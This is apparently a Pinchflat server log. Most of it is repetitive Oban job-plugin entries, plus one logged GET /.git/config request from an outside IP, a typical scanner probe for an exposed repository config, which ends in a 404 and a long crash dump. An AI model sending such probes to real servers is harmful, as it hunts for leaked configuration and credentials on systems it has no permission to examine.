{"source":"oban","duration":1517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:24:44.384 [info] {"source":"oban","duration":1685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:25:00.286 [info] {"source":"oban","duration":743,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:25:14.388 [info] {"source":"oban","duration":2740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:25:44.390 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:26:00.289 [info] {"source":"oban","duration":878,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:26:14.392 [info] {"source":"oban","duration":1190,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:26:44.394 [info] {"source":"oban","duration":1611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:27:00.293 [info] {"source":"oban","duration":2967,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:27:14.397 [info] {"source":"oban","duration":2295,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:27:44.399 [info] {"source":"oban","duration":1791,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:28:00.295 [info] {"source":"oban","duration":903,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:28:14.402 [info] {"source":"oban","duration":1673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:28:44.405 [info] {"source":"oban","duration":2181,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:29:00.296 [info] {"source":"oban","duration":584,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:29:14.407 [info] {"source":"oban","duration":1290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:29:44.409 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:30:00.298 [info] {"source":"oban","duration":1196,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:30:14.411 [info] {"source":"oban","duration":1237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:30:44.414 [info] {"source":"oban","duration":2101,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:31:00.301 [info] {"source":"oban","duration":543,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:31:14.416 [info] {"source":"oban","duration":1206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:31:44.418 [info] {"source":"oban","duration":1646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:32:00.302 [info] {"source":"oban","duration":565,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:32:14.421 [info] {"source":"oban","duration":1965,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:32:44.423 [info] {"source":"oban","duration":1371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:33:00.303 [info] {"source":"oban","duration":692,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:33:14.430 [info] {"source":"oban","duration":5893,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:33:44.433 [info] {"source":"oban","duration":2479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:34:00.305 [info] {"source":"oban","duration":535,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:34:14.437 [info] {"source":"oban","duration":2493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:34:44.439 [info] {"source":"oban","duration":1555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:35:00.306 [info] {"source":"oban","duration":461,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:35:14.441 [info] {"source":"oban","duration":1482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:35:44.443 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:36:00.307 [info] {"source":"oban","duration":483,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:36:14.445 [info] {"source":"oban","duration":1518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:36:44.449 [info] {"source":"oban","duration":3019,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:37:00.309 [info] {"source":"oban","duration":855,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:37:14.451 [info] {"source":"oban","duration":1214,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:37:44.453 [info] {"source":"oban","duration":1707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:38:00.311 [info] {"source":"oban","duration":493,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:38:14.459 [info] {"source":"oban","duration":4688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:38:44.462 [info] {"source":"oban","duration":1877,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:39:00.313 [info] {"source":"oban","duration":895,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:39:14.464 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:39:44.466 [info] {"source":"oban","duration":1173,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:40:00.315 [info] {"source":"oban","duration":764,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:40:14.468 [info] {"source":"oban","duration":1457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:40:44.471 [info] {"source":"oban","duration":2326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:41:00.316 [info] {"source":"oban","duration":784,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:41:14.479 [info] {"source":"oban","duration":3244,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:41:44.481 [info] {"source":"oban","duration":1370,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:42:00.320 [info] {"source":"oban","duration":2460,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:42:14.483 [info] {"source":"oban","duration":1582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:42:44.485 [info] {"source":"oban","duration":1338,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:43:00.321 [info] {"source":"oban","duration":423,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:43:14.489 [info] {"source":"oban","duration":3217,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:43:44.492 [info] {"source":"oban","duration":2528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:44:00.322 [info] {"source":"oban","duration":347,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:44:14.494 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:44:44.496 [info] {"source":"oban","duration":1650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:45:00.323 [info] {"source":"oban","duration":662,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:45:14.498 [info] {"source":"oban","duration":1312,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:45:44.502 [info] {"source":"oban","duration":3288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:46:00.324 [info] {"source":"oban","duration":678,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:46:14.505 [info] {"source":"oban","duration":2315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:46:44.509 [info] {"source":"oban","duration":3613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:47:00.329 [info] {"source":"oban","duration":2004,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:47:14.513 [info] {"source":"oban","duration":2119,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:47:44.516 [info] {"source":"oban","duration":2260,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:48:00.330 [info] {"source":"oban","duration":431,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:48:14.519 [info] {"source":"oban","duration":2361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:48:43.628 [info] GET /.git/config 12:48:43.630 [debug] QUERY OK source="settings" db=1.4ms idle=1146.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:48:43.632 [debug] QUERY OK source="settings" db=1.8ms idle=1148.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:48:43.633 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 12:48:43.634 [error] #PID<0.1295657.0> running PinchflatWeb.Endpoint (connection #PID<0.1295656.0>, stream id 1) terminated Server: tube.home.svallee.fr:80 (http) Request: GET /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1295656.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 49010}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36", "x-forwarded-for" => "195.178.110.159", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1295657.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36"}, {"x-forwarded-for", "195.178.110.159"}, {"x-forwarded-proto", "https"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKgK-mmhgzfBsZcADh-R"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1295656.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 49010}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36", "x-forwarded-for" => "195.178.110.159", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1295656.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 49010}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36", "x-forwarded-for" => "195.178.110.159", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1295657.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36"}, {"x-forwarded-for", "195.178.110.159"}, {"x-forwarded-proto", "https"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKgK-mmhgzfBsZcADh-R"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Pinchflat (truncated) 12:48:44.521 [info] {"source":"oban","duration":1619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:49:00.331 [info] {"source":"oban","duration":654,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:49:14.523 [info] {"source":"oban","duration":1881,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:49:44.526 [info] {"source":"oban","duration":1240,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:50:00.333 [info] {"source":"oban","duration":647,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:50:14.529 [info] {"source":"oban","duration":1921,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:50:44.533 [info] {"source":"oban","duration":3392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:51:00.334 [info] {"source":"oban","duration":854,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:51:14.536 [info] {"source":"oban","duration":2336,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:51:44.539 [info] {"source":"oban","duration":2009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:52:00.336 [info] {"source":"oban","duration":706,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:52:14.541 [info] {"source":"oban","duration":1580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:52:44.543 [info] {"source":"oban","duration":1367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:53:00.337 [info] {"source":"oban","duration":527,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:53:14.545 [info] {"source":"oban","duration":1647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:53:44.548 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:54:00.338 [info] {"source":"oban","duration":490,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:54:14.550 [info] {"source":"oban","duration":1352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:54:44.552 [info] {"source":"oban","duration":1454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:55:00.339 [info] {"source":"oban","duration":639,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:55:14.556 [info] {"source":"oban","duration":3177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:55:44.558 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:56:00.341 [info] {"source":"oban","duration":370,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:56:14.562 [info] {"source":"oban","duration":1958,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:56:44.564 [info] {"source":"oban","duration":1736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:57:00.342 [info] {"source":"oban","duration":471,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:57:14.567 [info] {"source":"oban","duration":1675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:57:44.569 [info] {"source":"oban","duration":1213,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:58:00.343 [info] {"source":"oban","duration":468,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:58:14.571 [info] {"source":"oban","duration":1291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:58:44.574 [info] {"source":"oban","duration":2906,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:59:00.344 [info] {"source":"oban","duration":621,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:59:14.577 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:59:44.579 [info] {"source":"oban","duration":1058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:00:00.346 [info] {"source":"oban","duration":659,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:00:14.582 [info] {"source":"oban","duration":2267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:00:44.584 [info] {"source":"oban","duration":1778,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:01:00.349 [info] {"source":"oban","duration":1249,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:01:14.588 [info] {"source":"oban","duration":1890,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:01:44.590 [info] {"source":"oban","duration":1227,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:02:00.351 [info] {"source":"oban","duration":1051,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:02:14.593 [info] {"source":"oban","duration":2173,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:02:44.621 [info] {"source":"oban","duration":11482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:03:00.353 [info] {"source":"oban","duration":1114,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:03:14.623 [info] {"source":"oban","duration":1278,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:03:44.626 [info] {"source":"oban","duration":2460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:04:00.354 [info] {"source":"oban","duration":585,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:04:14.629 [info] {"source":"oban","duration":1430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:04:44.637 [info] {"source":"oban","duration":7474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:05:00.357 [info] {"source":"oban","duration":1141,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:05:14.641 [info] {"source":"oban","duration":3461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:05:44.643 [info] {"source":"oban","duration":1728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:06:00.358 [info] {"source":"oban","duration":788,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:06:14.646 [info] {"source":"oban","duration":2015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:06:44.648 [info] {"source":"oban","duration":1549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:07:00.361 [info] {"source":"oban","duration":1028,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:07:14.650 [info] {"source":"oban","duration":1103,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:07:44.653 [info] {"source":"oban","duration":2544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:08:00.363 [info] {"source":"oban","duration":1248,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:08:14.655 [info] {"source":"oban","duration":1481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:08:44.659 [info] {"source":"oban","duration":2953,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:09:00.364 [info] {"source":"oban","duration":468,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:09:14.661 [info] {"source":"oban","duration":1379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:09:44.664 [info] {"source":"oban","duration":1985,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:10:00.366 [info] {"source":"oban","duration":1169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:10:14.667 [info] {"source":"oban","duration":1860,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:10:44.669 [info] {"source":"oban","duration":1280,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:11:00.367 [info] {"source":"oban","duration":788,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:11:14.671 [info] {"source":"oban","duration":1671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:11:44.673 [info] {"source":"oban","duration":1788,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:12:00.369 [info] {"source":"oban","duration":367,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:12:14.676 [info] {"source":"oban","duration":1732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:12:44.679 [info] {"source":"oban","duration":1717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:13:00.370 [info] {"source":"oban","duration":478,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:13:14.681 [info] {"source":"oban","duration":1016,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:13:44.683 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:14:00.372 [info] {"source":"oban","duration":863,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:14:14.685 [info] {"source":"oban","duration":1165,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:14:44.688 [info] {"source":"oban","duration":2474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:15:00.373 [info] {"source":"oban","duration":444,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:15:14.690 [info] {"source":"oban","duration":1536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:15:44.692 [info] {"source":"oban","duration":1386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:16:00.374 [info] {"source":"oban","duration":365,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:16:14.695 [info] {"source":"oban","duration":2721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:16:44.698 [info] {"source":"oban","duration":1938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:17:00.378 [info] {"source":"oban","duration":3734,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:17:14.700 [info] {"source":"oban","duration":1354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:17:44.702 [info] {"source":"oban","duration":1311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:18:00.380 [info] {"source":"oban","duration":533,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:18:14.704 [info] {"source":"oban","duration":1605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:18:44.707 [info] {"source":"oban","duration":1998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:19:00.382 [info] {"source":"oban","duration":776,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:19:14.709 [info] {"source":"oban","duration":1528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:19:44.711 [info] {"source":"oban","duration":1617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:20:00.383 [info] {"source":"oban","duration":390,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:20:14.714 [info] {"source":"oban","duration":1724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:20:44.717 [info] {"source":"oban","duration":1126,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:21:00.384 [info] {"source":"oban","duration":489,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:21:14.719 [info] {"source":"oban","duration":1711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:21:41.777 [info] GET / 13:21:41.777 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 13:21:41.779 [debug] QUERY OK source="settings" db=0.8ms idle=1152.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:21:41.780 [debug] QUERY OK source="media_profiles" 